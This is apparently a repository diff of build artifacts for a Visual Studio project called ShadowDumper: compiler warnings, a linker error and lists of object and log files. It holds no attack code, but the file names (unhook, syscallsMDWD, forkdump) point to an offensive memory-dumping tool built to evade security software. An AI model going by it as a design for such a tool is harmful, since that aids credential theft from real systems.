C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2570): message : see previous definition of 'STATUS_SINGLE_STEP'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1781,1): warning C4005: 'STATUS_LONGJUMP': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2571): message : see previous definition of 'STATUS_LONGJUMP'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1808,1): warning C4005: 'STATUS_UNWIND_CONSOLIDATE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2572): message : see previous definition of 'STATUS_UNWIND_CONSOLIDATE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1923,1): warning C4005: 'DBG_EXCEPTION_NOT_HANDLED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2573): message : see previous definition of 'DBG_EXCEPTION_NOT_HANDLED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2090,1): warning C4005: 'STATUS_ACCESS_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2574): message : see previous definition of 'STATUS_ACCESS_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2099,1): warning C4005: 'STATUS_IN_PAGE_ERROR': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2575): message : see previous definition of 'STATUS_IN_PAGE_ERROR'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2117,1): warning C4005: 'STATUS_INVALID_HANDLE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2576): message : see previous definition of 'STATUS_INVALID_HANDLE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2162,1): warning C4005: 'STATUS_INVALID_PARAMETER': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2577): message : see previous definition of 'STATUS_INVALID_PARAMETER'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2262,1): warning C4005: 'STATUS_NO_MEMORY': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2578): message : see previous definition of 'STATUS_NO_MEMORY'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2319,1): warning C4005: 'STATUS_ILLEGAL_INSTRUCTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2579): message : see previous definition of 'STATUS_ILLEGAL_INSTRUCTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2400,1): warning C4005: 'STATUS_NONCONTINUABLE_EXCEPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2580): message : see previous definition of 'STATUS_NONCONTINUABLE_EXCEPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2409,1): warning C4005: 'STATUS_INVALID_DISPOSITION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2581): message : see previous definition of 'STATUS_INVALID_DISPOSITION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3342,1): warning C4005: 'STATUS_ARRAY_BOUNDS_EXCEEDED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2582): message : see previous definition of 'STATUS_ARRAY_BOUNDS_EXCEEDED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3352,1): warning C4005: 'STATUS_FLOAT_DENORMAL_OPERAND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2583): message : see previous definition of 'STATUS_FLOAT_DENORMAL_OPERAND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3362,1): warning C4005: 'STATUS_FLOAT_DIVIDE_BY_ZERO': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2584): message : see previous definition of 'STATUS_FLOAT_DIVIDE_BY_ZERO'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3372,1): warning C4005: 'STATUS_FLOAT_INEXACT_RESULT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2585): message : see previous definition of 'STATUS_FLOAT_INEXACT_RESULT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3382,1): warning C4005: 'STATUS_FLOAT_INVALID_OPERATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2586): message : see previous definition of 'STATUS_FLOAT_INVALID_OPERATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3392,1): warning C4005: 'STATUS_FLOAT_OVERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2587): message : see previous definition of 'STATUS_FLOAT_OVERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3402,1): warning C4005: 'STATUS_FLOAT_STACK_CHECK': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2588): message : see previous definition of 'STATUS_FLOAT_STACK_CHECK'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3412,1): warning C4005: 'STATUS_FLOAT_UNDERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2589): message : see previous definition of 'STATUS_FLOAT_UNDERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3422,1): warning C4005: 'STATUS_INTEGER_DIVIDE_BY_ZERO': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2590): message : see previous definition of 'STATUS_INTEGER_DIVIDE_BY_ZERO'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3432,1): warning C4005: 'STATUS_INTEGER_OVERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2591): message : see previous definition of 'STATUS_INTEGER_OVERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3442,1): warning C4005: 'STATUS_PRIVILEGED_INSTRUCTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2592): message : see previous definition of 'STATUS_PRIVILEGED_INSTRUCTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4388,1): warning C4005: 'STATUS_STACK_OVERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2593): message : see previous definition of 'STATUS_STACK_OVERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4905,1): warning C4005: 'STATUS_DLL_NOT_FOUND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2594): message : see previous definition of 'STATUS_DLL_NOT_FOUND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4934,1): warning C4005: 'STATUS_ORDINAL_NOT_FOUND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2595): message : see previous definition of 'STATUS_ORDINAL_NOT_FOUND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4944,1): warning C4005: 'STATUS_ENTRYPOINT_NOT_FOUND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2596): message : see previous definition of 'STATUS_ENTRYPOINT_NOT_FOUND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4954,1): warning C4005: 'STATUS_CONTROL_C_EXIT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2597): message : see previous definition of 'STATUS_CONTROL_C_EXIT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(5032,1): warning C4005: 'STATUS_DLL_INIT_FAILED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2598): message : see previous definition of 'STATUS_DLL_INIT_FAILED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(6029,1): warning C4005: 'STATUS_CONTROL_STACK_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2599): message : see previous definition of 'STATUS_CONTROL_STACK_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7623,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_FAULTS': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2600): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_FAULTS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7633,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_TRAPS': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2601): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_TRAPS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7765,1): warning C4005: 'STATUS_REG_NAT_CONSUMPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2602): message : see previous definition of 'STATUS_REG_NAT_CONSUMPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8748,1): warning C4005: 'STATUS_HEAP_CORRUPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2603): message : see previous definition of 'STATUS_HEAP_CORRUPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8976,1): warning C4005: 'STATUS_STACK_BUFFER_OVERRUN': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2604): message : see previous definition of 'STATUS_STACK_BUFFER_OVERRUN'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9103,1): warning C4005: 'STATUS_INVALID_CRUNTIME_PARAMETER': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2605): message : see previous definition of 'STATUS_INVALID_CRUNTIME_PARAMETER'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9166,1): warning C4005: 'STATUS_ASSERTION_FAILURE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2606): message : see previous definition of 'STATUS_ASSERTION_FAILURE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10075,1): warning C4005: 'STATUS_ENCLAVE_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2607): message : see previous definition of 'STATUS_ENCLAVE_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10808,1): warning C4005: 'STATUS_INTERRUPTED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2608): message : see previous definition of 'STATUS_INTERRUPTED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10817,1): warning C4005: 'STATUS_THREAD_NOT_RUNNING': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2609): message : see previous definition of 'STATUS_THREAD_NOT_RUNNING'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(11129,1): warning C4005: 'STATUS_ALREADY_REGISTERED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2610): message : see previous definition of 'STATUS_ALREADY_REGISTERED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15048,1): warning C4005: 'STATUS_SXS_EARLY_DEACTIVATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2612): message : see previous definition of 'STATUS_SXS_EARLY_DEACTIVATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15057,1): warning C4005: 'STATUS_SXS_INVALID_DEACTIVATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2613): message : see previous definition of 'STATUS_SXS_INVALID_DEACTIVATION'
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsMDWD.cpp(27,46): warning C4267: '=': conversion from 'size_t' to 'USHORT', possible loss of data
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsMDWD.cpp(29,42): warning C4312: '<function-style-cast>': conversion from 'DWORD' to 'HANDLE' of greater size
|
||||
syscallsNative.cpp
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.cpp(590,36): warning C4312: 'type cast': conversion from 'DWORD' to 'HANDLE' of greater size
|
||||
unhook.cpp
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\unhook.h(13,1): warning C4005: 'NtCurrentProcess': macro redefinition
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.h(21): message : see previous definition of 'NtCurrentProcess'
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\unhook.cpp(85,80): warning C4244: 'argument': conversion from 'SIZE_T' to 'ULONG', possible loss of data
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\unhook.cpp(185,80): warning C4244: 'argument': conversion from 'SIZE_T' to 'ULONG', possible loss of data
|
||||
Generating Code...
|
||||
nativeDS.c
|
||||
main.obj : error LNK2019: unresolved external symbol "bool __cdecl DecryptNativeFile(wchar_t const *,wchar_t const *)" (?DecryptNativeFile@@YA_NPEB_W0@Z) referenced in function "void __cdecl ExecuteTask(int)" (?ExecuteTask@@YAXH@Z)
|
||||
C:\Users\DARKN3T\source\repos\ShadowDumper\x64\Debug\ShadowDumper.exe : fatal error LNK1120: 1 unresolved externals
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
PlatformToolSet=v142:VCToolArchitecture=Native32Bit:VCToolsVersion=14.29.30133:TargetPlatformVersion=10.0.22621.0:
|
||||
Debug|x64|C:\Users\DARKN3T\source\repos\ShadowDumper\|
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,27 +1,30 @@
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\vc142.pdb
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\unhook.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\syscallsnative.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\syscallsmdwd.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\simplemdwd.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\main.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\forkdump.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\callbacksmdwd.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\nativeds.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\x64\release\shadowdumper.exe
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.ipdb
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.iobj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\x64\release\shadowdumper.pdb
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\nativeasm.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\sysmdwd.obj
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.res
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.command.1.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.read.1.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.write.1.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.command.1.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.read.1.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.write.1.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\masm.read.1u.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\masm.write.1u.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.command.1.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.read.1.tlog
|
||||
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.write.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\vc143.pdb
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\unhook.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\syscallsnative.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\syscallsmdwd.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\simplemdwd.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\main.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\forkdump.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\decrypt.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\callbacksmdwd.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\nativeds.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\x64\release\shadowdumper.exe
|
||||
c:\users\public\shadowdumper\shadowdumper\x64\release\shadowdumper.pdb
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\nativeasm.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\sysmdwd.obj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.res
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.ipdb
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.iobj
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.command.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.items.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.read.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.write.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.command.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.read.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.secondary.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.write.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\masm.read.1u.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\masm.write.1u.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.command.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.read.1.tlog
|
||||
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.write.1.tlog
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
<Project>
|
||||
<ProjectOutputs>
|
||||
<ProjectOutput>
|
||||
<FullPath>C:\Users\DARKN3T\source\repos\ShadowDumper\x64\Release\ShadowDumper.exe</FullPath>
|
||||
<FullPath>C:\Users\Public\ShadowDumper\ShadowDumper\x64\Release\ShadowDumper.exe</FullPath>
|
||||
</ProjectOutput>
|
||||
</ProjectOutputs>
|
||||
<ContentFiles />
|
||||
|
||||
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,9 @@
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\callbacksMDWD.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\callbacksMDWD.obj
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\decrypt.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\decrypt.obj
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\forkdump.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\forkdump.obj
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\main.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\main.obj
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\nativeDS.c;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\nativeDS.obj
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\simpleMDWD.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\simpleMDWD.obj
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\syscallsMDWD.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\syscallsMDWD.obj
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\syscallsNative.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\syscallsNative.obj
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\unhook.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\unhook.obj
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,2 +1,2 @@
|
||||
PlatformToolSet=v142:VCToolArchitecture=Native32Bit:VCToolsVersion=14.29.30133:TargetPlatformVersion=10.0.22621.0:
|
||||
Release|x64|C:\Users\DARKN3T\source\repos\ShadowDumper\|
|
||||
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.42.34433:TargetPlatformVersion=10.0.22621.0:
|
||||
Release|x64|C:\Users\Public\ShadowDumper\ShadowDumper\|
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,3 @@
|
||||
^C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\CALLBACKSMDWD.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\DECRYPT.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\FORKDUMP.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\MAIN.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\NATIVEASM.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\NATIVEDS.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SHADOWDUMPER.RES|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SIMPLEMDWD.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SYSCALLSMDWD.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SYSCALLSNATIVE.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SYSMDWD.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\UNHOOK.OBJ
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\ShadowDumper.IPDB
|
||||
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\ShadowDumper.iobj
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user